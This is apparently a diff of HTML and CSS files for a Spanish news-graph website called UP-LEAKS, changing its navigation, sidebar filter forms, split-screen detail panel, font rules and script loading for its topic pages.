|
||||||
height: 100%; box-sizing: border-box;
|
|
||||||
display: none; flex-direction: column;
|
|
||||||
}
|
|
||||||
main.split-screen.show-detail #detailContent { display: flex; }
|
|
||||||
|
|
||||||
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
|
|
||||||
.detail-author { font-weight: bold; }
|
|
||||||
.detail-date { text-align: right; white-space: nowrap; }
|
|
||||||
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
|
|
||||||
|
|
||||||
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
|
|
||||||
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
|
|
||||||
.relations-nav { display: flex; align-items: center; gap: 6px; }
|
|
||||||
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
|
|
||||||
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
|
|
||||||
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
|
|
||||||
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
|
|
||||||
|
|
||||||
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
|
|
||||||
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
|
|
||||||
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
|
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
|
||||||
main.split-screen.show-detail #graphPanel { display: none; }
|
|
||||||
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
|
|
||||||
}
|
|
||||||
|
|
|
||||||
|
|
@ -4,7 +4,6 @@
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<title>Economía y Corporaciones</title>
|
<title>Economía y Corporaciones</title>
|
||||||
<link rel="stylesheet" href="eco-corp.css">
|
<link rel="stylesheet" href="eco-corp.css">
|
||||||
<link rel="stylesheet" href="sub-nav.css">
|
|
||||||
<!-- Fuentes de Google Fonts -->
|
<!-- Fuentes de Google Fonts -->
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
|
|
@ -12,77 +11,18 @@
|
||||||
|
|
||||||
<!-- Cargar D3.js -->
|
<!-- Cargar D3.js -->
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
||||||
<script type="importmap">
|
<!-- Cargar 3d-force-graph (incluye Three.js) -->
|
||||||
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } }
|
<script src="https://unpkg.com/3d-force-graph"></script>
|
||||||
</script>
|
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
|
||||||
<nav class="top-nav">
|
<nav>
|
||||||
<div class="section-buttons">
|
<ul class="nav-links">
|
||||||
|
<li><a href="eco-corp.html" class="eco-corp">Economía y Corporaciones</a></li>
|
||||||
<div class="section-item">
|
</ul>
|
||||||
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="climate.html" class="section-btn climate-btn">CLIMATE</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="section-item current">
|
|
||||||
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP <span class="dropdown-arrow">▾</span></a>
|
|
||||||
<div class="section-dropdown">
|
|
||||||
<a href="#" onclick="setSubtema('economía global');return false;">Economía Global</a>
|
|
||||||
<a href="#" onclick="setSubtema('corporaciones multinacionales');return false;">Corporaciones Multinacionales</a>
|
|
||||||
<a href="#" onclick="setSubtema('comercio internacional');return false;">Comercio Internacional</a>
|
|
||||||
<a href="#" onclick="setSubtema('organismos financieros');return false;">Organismos Financieros</a>
|
|
||||||
<a href="#" onclick="setSubtema('desigualdad económica');return false;">Desigualdad Económica</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
<script>
|
<main>
|
||||||
function setSubtema(val) {
|
|
||||||
var sel = document.getElementById('param2');
|
|
||||||
if (sel) { sel.value = val; }
|
|
||||||
var form = document.getElementById('paramForm');
|
|
||||||
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
|
|
||||||
}
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
/* ── Dropdown touch (móvil) ── */
|
|
||||||
var curr = document.querySelector('.section-item.current');
|
|
||||||
if (curr) {
|
|
||||||
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
|
|
||||||
e.preventDefault();
|
|
||||||
curr.classList.toggle('open');
|
|
||||||
});
|
|
||||||
document.addEventListener('touchend', function(e) {
|
|
||||||
if (!curr.contains(e.target)) curr.classList.remove('open');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
/* ── Sidebar: botón toggle visible en móvil ── */
|
|
||||||
var toggle = document.getElementById('sidebarToggle');
|
|
||||||
var sidebar = document.getElementById('sidebar');
|
|
||||||
if (toggle && sidebar) {
|
|
||||||
toggle.style.display = 'block';
|
|
||||||
toggle.addEventListener('click', function() {
|
|
||||||
sidebar.classList.toggle('active');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<main class="split-screen">
|
|
||||||
<div id="graphPanel" style="position:relative;">
|
|
||||||
<button id="volverGrafoBtn">← Volver al grafo completo</button>
|
|
||||||
<div id="ecoCorpContainer" style="position: absolute; width: 100%; height: 100%;"></div>
|
<div id="ecoCorpContainer" style="position: absolute; width: 100%; height: 100%;"></div>
|
||||||
<div class="background">
|
<div class="background">
|
||||||
<img src="/images/flujos.jpg">
|
<img src="/images/flujos.jpg">
|
||||||
|
|
@ -98,26 +38,6 @@
|
||||||
}, 1000);
|
}, 1000);
|
||||||
</script>
|
</script>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
|
||||||
<div id="detailPanel">
|
|
||||||
<button id="closeDetail">✕ cerrar</button>
|
|
||||||
<div id="detailContent">
|
|
||||||
<div class="detail-meta">
|
|
||||||
<span class="detail-author"></span>
|
|
||||||
<span class="detail-date"></span>
|
|
||||||
</div>
|
|
||||||
<h2 class="detail-title"></h2>
|
|
||||||
<div class="detail-relations">
|
|
||||||
<span class="relations-count"></span>
|
|
||||||
<div class="relations-nav">
|
|
||||||
<button id="prevRelation" disabled>← ant</button>
|
|
||||||
<span id="relationLabel"></span>
|
|
||||||
<button id="nextRelation" disabled>sig →</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="detail-body"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
<div id="sidebar">
|
<div id="sidebar">
|
||||||
|
|
@ -130,24 +50,16 @@
|
||||||
<input type="date" id="fecha_fin" name="fecha_fin">
|
<input type="date" id="fecha_fin" name="fecha_fin">
|
||||||
|
|
||||||
<label for="nodos">Nodos:</label>
|
<label for="nodos">Nodos:</label>
|
||||||
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500">
|
<input type="number" id="nodos" name="nodos" value="100">
|
||||||
|
|
||||||
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label>
|
<label for="complejidad">Complejidad:</label>
|
||||||
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8"
|
<input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
|
||||||
oninput="document.getElementById('complejidadVal').textContent = this.value">
|
|
||||||
|
|
||||||
<label for="param1">Palabra clave:</label>
|
<label for="param1">Búsqueda por palabra:</label>
|
||||||
<input type="text" id="param1" name="param1" placeholder="ej: FMI, Amazon...">
|
<input type="text" id="param1" name="param1">
|
||||||
|
|
||||||
<label for="param2">Subtematica:</label>
|
<label for="param2">Búsqueda por temática personalizada:</label>
|
||||||
<select id="param2" name="param2">
|
<input type="text" id="param2" name="param2">
|
||||||
<option value="">— Todas —</option>
|
|
||||||
<option value="comercio internacional">comercio internacional</option>
|
|
||||||
<option value="economía global">economía global</option>
|
|
||||||
<option value="desigualdad económica">desigualdad económica</option>
|
|
||||||
<option value="corporaciones multinacionales">corporaciones multinacionales</option>
|
|
||||||
<option value="organismos financieros">organismos financieros</option>
|
|
||||||
</select>
|
|
||||||
|
|
||||||
<input type="submit" value="Aplicar">
|
<input type="submit" value="Aplicar">
|
||||||
</form>
|
</form>
|
||||||
|
|
@ -155,8 +67,11 @@
|
||||||
|
|
||||||
<button id="sidebarToggle">Toggle Sidebar</button>
|
<button id="sidebarToggle">Toggle Sidebar</button>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
|
||||||
|
</footer>
|
||||||
|
|
||||||
<!-- Incluir tu script al final del body -->
|
<!-- Incluir tu script al final del body -->
|
||||||
<script src="semana-toggle.js"></script>
|
<script src="output_eco_corp_pruebas.js"></script>
|
||||||
<script type="module" src="output_eco_corp_pruebas.js"></script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,10 @@
|
||||||
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face.
|
@font-face {
|
||||||
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en
|
font-family: "Retrolift";
|
||||||
fonts/ y anade aqui la regla con una ruta relativa. */
|
src: url("fonts/retrolift.woff2") format("woff2"),
|
||||||
|
url("fonts/retrolift.woff") format("woff");
|
||||||
|
font-weight: normal;
|
||||||
|
font-style: normal;
|
||||||
|
}
|
||||||
|
|
||||||
* {
|
* {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
|
@ -251,35 +255,6 @@ nav {
|
||||||
background: #ff6600;
|
background: #ff6600;
|
||||||
}
|
}
|
||||||
|
|
||||||
#sidebar select {
|
|
||||||
padding: 10px;
|
|
||||||
border: 2px solid #39ff14;
|
|
||||||
background: black;
|
|
||||||
color: #39ff14;
|
|
||||||
border-radius: 5px;
|
|
||||||
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
|
|
||||||
transition: box-shadow 0.3s ease;
|
|
||||||
appearance: none;
|
|
||||||
cursor: pointer;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-size: 0.85em;
|
|
||||||
}
|
|
||||||
#sidebar select:hover {
|
|
||||||
box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3);
|
|
||||||
}
|
|
||||||
#sidebar select option {
|
|
||||||
background: #0a0a0a;
|
|
||||||
color: #39ff14;
|
|
||||||
}
|
|
||||||
|
|
||||||
#sidebar .sim-val {
|
|
||||||
font-weight: bold;
|
|
||||||
color: #fff;
|
|
||||||
background: rgba(57,255,20,0.15);
|
|
||||||
border-radius: 3px;
|
|
||||||
padding: 0 4px;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
footer {
|
footer {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
|
|
@ -354,53 +329,3 @@ footer p {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
z-index: 1;
|
z-index: 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ===== Panel de detalle (split-screen) ===== */
|
|
||||||
main.split-screen { display: flex; height: 100vh; }
|
|
||||||
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; }
|
|
||||||
#detailPanel {
|
|
||||||
width: 0; max-width: 0; overflow: hidden;
|
|
||||||
transition: width 0.3s ease, max-width 0.3s ease;
|
|
||||||
background: #0a0a0a; color: #fff;
|
|
||||||
position: relative; z-index: 4;
|
|
||||||
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
|
|
||||||
}
|
|
||||||
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
|
|
||||||
|
|
||||||
#closeDetail {
|
|
||||||
position: absolute; top: 12px; left: 12px;
|
|
||||||
background: rgba(0,0,0,0.85); border: 1px solid #39ff14;
|
|
||||||
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
|
|
||||||
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
|
|
||||||
transition: background 0.2s;
|
|
||||||
}
|
|
||||||
#closeDetail:hover { background: rgba(57,255,20,0.15); }
|
|
||||||
|
|
||||||
#detailContent {
|
|
||||||
padding: 52px 18px 20px; overflow-y: auto;
|
|
||||||
height: 100%; box-sizing: border-box;
|
|
||||||
display: none; flex-direction: column;
|
|
||||||
}
|
|
||||||
main.split-screen.show-detail #detailContent { display: flex; }
|
|
||||||
|
|
||||||
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; }
|
|
||||||
.detail-author { font-weight: bold; }
|
|
||||||
.detail-date { text-align: right; white-space: nowrap; }
|
|
||||||
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; }
|
|
||||||
|
|
||||||
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; }
|
|
||||||
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; }
|
|
||||||
.relations-nav { display: flex; align-items: center; gap: 6px; }
|
|
||||||
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; }
|
|
||||||
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); }
|
|
||||||
.relations-nav button:disabled { opacity: 0.3; cursor: default; }
|
|
||||||
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; }
|
|
||||||
|
|
||||||
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
|
|
||||||
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
|
|
||||||
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
|
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
|
||||||
main.split-screen.show-detail #graphPanel { display: none; }
|
|
||||||
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
|
|
||||||
}
|
|
||||||
|
|
|
||||||
|
|
@ -1,86 +1,28 @@
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="es">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<title>Glob-War</title>
|
<title>Glob-War</title>
|
||||||
<link rel="stylesheet" href="glob-war.css">
|
<link rel="stylesheet" href="glob-war.css">
|
||||||
<link rel="stylesheet" href="sub-nav.css">
|
|
||||||
<!-- Fuentes de Google Fonts -->
|
<!-- Fuentes de Google Fonts -->
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
|
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
|
||||||
|
|
||||||
<script type="importmap">
|
<!-- Cargar D3.js -->
|
||||||
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } }
|
|
||||||
</script>
|
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
||||||
|
<!-- Cargar 3d-force-graph (incluye Three.js) -->
|
||||||
|
<script src="https://unpkg.com/3d-force-graph"></script>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
|
||||||
<nav class="top-nav">
|
<nav>
|
||||||
<div class="section-buttons">
|
<ul class="nav-links">
|
||||||
|
<li><a href="glob-war.html" class="glob-war">GLOB-WAR</a></li>
|
||||||
<div class="section-item current">
|
</ul>
|
||||||
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR <span class="dropdown-arrow">▾</span></a>
|
|
||||||
<div class="section-dropdown">
|
|
||||||
<a href="#" onclick="setSubtema('conflictos internacionales');return false;">Conflictos Internacionales</a>
|
|
||||||
<a href="#" onclick="setSubtema('guerras civiles');return false;">Guerras Civiles</a>
|
|
||||||
<a href="#" onclick="setSubtema('terrorismo');return false;">Terrorismo</a>
|
|
||||||
<a href="#" onclick="setSubtema('armas');return false;">Armas</a>
|
|
||||||
<a href="#" onclick="setSubtema('alianzas militares');return false;">Alianzas Militares</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="climate.html" class="section-btn climate-btn">CLIMATE</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP</a>
|
|
||||||
</div>
|
|
||||||
<div class="section-item">
|
|
||||||
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
</div>
|
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
<script>
|
<main>
|
||||||
function setSubtema(val) {
|
|
||||||
var sel = document.getElementById('param2');
|
|
||||||
if (sel) { sel.value = val; }
|
|
||||||
var form = document.getElementById('paramForm');
|
|
||||||
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
|
|
||||||
}
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
/* ── Dropdown touch (móvil) ── */
|
|
||||||
var curr = document.querySelector('.section-item.current');
|
|
||||||
if (curr) {
|
|
||||||
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
|
|
||||||
e.preventDefault();
|
|
||||||
curr.classList.toggle('open');
|
|
||||||
});
|
|
||||||
document.addEventListener('touchend', function(e) {
|
|
||||||
if (!curr.contains(e.target)) curr.classList.remove('open');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
/* ── Sidebar: botón toggle visible en móvil ── */
|
|
||||||
var toggle = document.getElementById('sidebarToggle');
|
|
||||||
var sidebar = document.getElementById('sidebar');
|
|
||||||
if (toggle && sidebar) {
|
|
||||||
toggle.style.display = 'block';
|
|
||||||
toggle.addEventListener('click', function() {
|
|
||||||
sidebar.classList.toggle('active');
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<main class="split-screen">
|
|
||||||
<div id="graphPanel" style="position:relative;">
|
|
||||||
<button id="volverGrafoBtn">← Volver al grafo completo</button>
|
|
||||||
<div id="globWarContainer" style="position: absolute; width: 100%; height: 100%;"></div>
|
<div id="globWarContainer" style="position: absolute; width: 100%; height: 100%;"></div>
|
||||||
<div class="background">
|
<div class="background">
|
||||||
<img src="/images/flujos.jpg">
|
<img src="/images/flujos.jpg">
|
||||||
|
|
@ -96,26 +38,6 @@
|
||||||
}, 1000);
|
}, 1000);
|
||||||
</script>
|
</script>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
|
||||||
<div id="detailPanel">
|
|
||||||
<button id="closeDetail">✕ cerrar</button>
|
|
||||||
<div id="detailContent">
|
|
||||||
<div class="detail-meta">
|
|
||||||
<span class="detail-author"></span>
|
|
||||||
<span class="detail-date"></span>
|
|
||||||
</div>
|
|
||||||
<h2 class="detail-title"></h2>
|
|
||||||
<div class="detail-relations">
|
|
||||||
<span class="relations-count"></span>
|
|
||||||
<div class="relations-nav">
|
|
||||||
<button id="prevRelation" disabled>← ant</button>
|
|
||||||
<span id="relationLabel"></span>
|
|
||||||
<button id="nextRelation" disabled>sig →</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="detail-body"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
<div id="sidebar">
|
<div id="sidebar">
|
||||||
|
|
@ -128,24 +50,22 @@
|
||||||
<input type="date" id="fecha_fin" name="fecha_fin">
|
<input type="date" id="fecha_fin" name="fecha_fin">
|
||||||
|
|
||||||
<label for="nodos">Nodos:</label>
|
<label for="nodos">Nodos:</label>
|
||||||
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500">
|
<input type="number" id="nodos" name="nodos" value="100">
|
||||||
|
|
||||||
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label>
|
<label for="complejidad">Complejidad:</label>
|
||||||
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8"
|
<input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
|
||||||
oninput="document.getElementById('complejidadVal').textContent = this.value">
|
|
||||||
|
|
||||||
<label for="param1">Palabra clave:</label>
|
<label for="param1">Búsqueda por palabra:</label>
|
||||||
<input type="text" id="param1" name="param1" placeholder="ej: misiles, OTAN...">
|
<input type="text" id="param1" name="param1">
|
||||||
|
|
||||||
<label for="param2">Subtematica:</label>
|
<label for="color1">Color 1:</label>
|
||||||
<select id="param2" name="param2">
|
<input type="color" id="color1" name="color1">
|
||||||
<option value="">— Todas —</option>
|
|
||||||
<option value="armas">armas</option>
|
<label for="param2">Búsqueda por temática personalizada:</label>
|
||||||
<option value="terrorismo">terrorismo</option>
|
<input type="text" id="param2" name="param2">
|
||||||
<option value="guerras civiles">guerras civiles</option>
|
|
||||||
<option value="conflictos internacionales">conflictos internacionales</option>
|
<label for="color2">Color 2:</label>
|
||||||
<option value="alianzas militares">alianzas militares</option>
|
<input type="color" id="color2" name="color2">
|
||||||
</select>
|
|
||||||
|
|
||||||
<input type="submit" value="Aplicar">
|
<input type="submit" value="Aplicar">
|
||||||
</form>
|
</form>
|
||||||
|
|
@ -153,8 +73,11 @@
|
||||||
|
|
||||||
<button id="sidebarToggle">Toggle Sidebar</button>
|
<button id="sidebarToggle">Toggle Sidebar</button>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
|
||||||
|
</footer>
|
||||||
|
|
||||||
<!-- Incluir tu script al final del body -->
|
<!-- Incluir tu script al final del body -->
|
||||||
<script src="semana-toggle.js"></script>
|
<script src="output_glob_war_pruebas.js"></script>
|
||||||
<script type="module" src="output_glob_war_pruebas.js"></script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="es">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
|
@ -8,33 +8,14 @@
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Nosifer&display=swap" rel="stylesheet">
|
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Nosifer&display=swap" rel="stylesheet">
|
||||||
<style>
|
|
||||||
/* selector de idioma */
|
|
||||||
.lang-toggle {
|
|
||||||
display: inline-flex; gap: 2px; margin-left: 10px; vertical-align: middle;
|
|
||||||
border: 1px solid #39ff14; font-family: 'Fira Code', monospace; font-size: 12px;
|
|
||||||
}
|
|
||||||
.lang-toggle button {
|
|
||||||
background: #000; color: #39ff14; border: none; padding: 4px 9px; cursor: pointer;
|
|
||||||
font-family: inherit; font-size: inherit; letter-spacing: .05em; transition: background .15s, color .15s;
|
|
||||||
}
|
|
||||||
.lang-toggle button[aria-pressed="true"] { background: #39ff14; color: #000; font-weight: 700; }
|
|
||||||
.lang-toggle button:hover:not([aria-pressed="true"]) { color: #7dff5e; }
|
|
||||||
</style>
|
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
|
|
||||||
<header>
|
<header>
|
||||||
<div class="header-content">
|
<div class="header-content">
|
||||||
<h1 class="title">UP-LEAKS</h1>
|
<h1 class="title">UP-LEAKS</h1>
|
||||||
<div class="header-buttons header-buttons--left">
|
<div class="header-buttons">
|
||||||
<a href="/coconews/" class="small-button coconews-btn">COCONEWS</a>
|
<a href="journalist.html" class="small-button">Journalist</a>
|
||||||
<a href="journalist.html" class="small-button" data-i18n="nav_journalist">Periodistas</a>
|
|
||||||
<a href="stats.html" class="small-button stats-btn">STATS</a>
|
|
||||||
<span class="lang-toggle" role="group" aria-label="Idioma / Language">
|
|
||||||
<button type="button" data-lang="es" aria-pressed="true">ES</button>
|
|
||||||
<button type="button" data-lang="en" aria-pressed="false">EN</button>
|
|
||||||
</span>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</header>
|
</header>
|
||||||
|
|
@ -72,89 +53,48 @@
|
||||||
<!-- Botones sobre las imágenes -->
|
<!-- Botones sobre las imágenes -->
|
||||||
<div class="button-overlay">
|
<div class="button-overlay">
|
||||||
<div class="button-column">
|
<div class="button-column">
|
||||||
<a href="glob-war.html?subtematica=conflictos_internacionales" class="overlay-button" data-i18n="gw_1">Conflictos Internacionales</a>
|
<a href="glob-war.html?subtematica=conflictos_internacionales" class="overlay-button">Conflictos Internacionales</a>
|
||||||
<a href="glob-war.html?subtematica=guerras_civiles" class="overlay-button" data-i18n="gw_2">Guerras Civiles</a>
|
<a href="glob-war.html?subtematica=guerras_civiles" class="overlay-button">Guerras Civiles</a>
|
||||||
<a href="glob-war.html?subtematica=terrorismo" class="overlay-button" data-i18n="gw_3">Terrorismo</a>
|
<a href="glob-war.html?subtematica=terrorismo" class="overlay-button">Terrorismo</a>
|
||||||
<a href="glob-war.html?subtematica=armas" class="overlay-button" data-i18n="gw_4">Armas</a>
|
<a href="glob-war.html?subtematica=armas" class="overlay-button">Armas</a>
|
||||||
<a href="glob-war.html?subtematica=alianzas_militares" class="overlay-button" data-i18n="gw_5">Alianzas Militares</a>
|
<a href="glob-war.html?subtematica=alianzas_militares" class="overlay-button">Alianzas Militares</a>
|
||||||
</div>
|
</div>
|
||||||
<div class="button-column">
|
<div class="button-column">
|
||||||
<a href="int-sec.html?subtematica=inteligencia" class="overlay-button" data-i18n="is_1">Inteligencia</a>
|
<a href="int-sec.html?subtematica=inteligencia" class="overlay-button">Inteligencia</a>
|
||||||
<a href="int-sec.html?subtematica=ciberseguridad" class="overlay-button" data-i18n="is_2">Ciberseguridad</a>
|
<a href="int-sec.html?subtematica=ciberseguridad" class="overlay-button">Ciberseguridad</a>
|
||||||
<a href="int-sec.html?subtematica=espionaje" class="overlay-button" data-i18n="is_3">Espionaje</a>
|
<a href="int-sec.html?subtematica=espionaje" class="overlay-button">Espionaje</a>
|
||||||
<a href="int-sec.html?subtematica=seguridad_nacional" class="overlay-button" data-i18n="is_4">Seguridad Nacional</a>
|
<a href="int-sec.html?subtematica=seguridad_nacional" class="overlay-button">Seguridad Nacional</a>
|
||||||
<a href="int-sec.html?subtematica=contraterrorismo" class="overlay-button" data-i18n="is_5">Contraterrorismo</a>
|
<a href="int-sec.html?subtematica=contraterrorismo" class="overlay-button">Contraterrorismo</a>
|
||||||
</div>
|
</div>
|
||||||
<div class="button-column">
|
<div class="button-column">
|
||||||
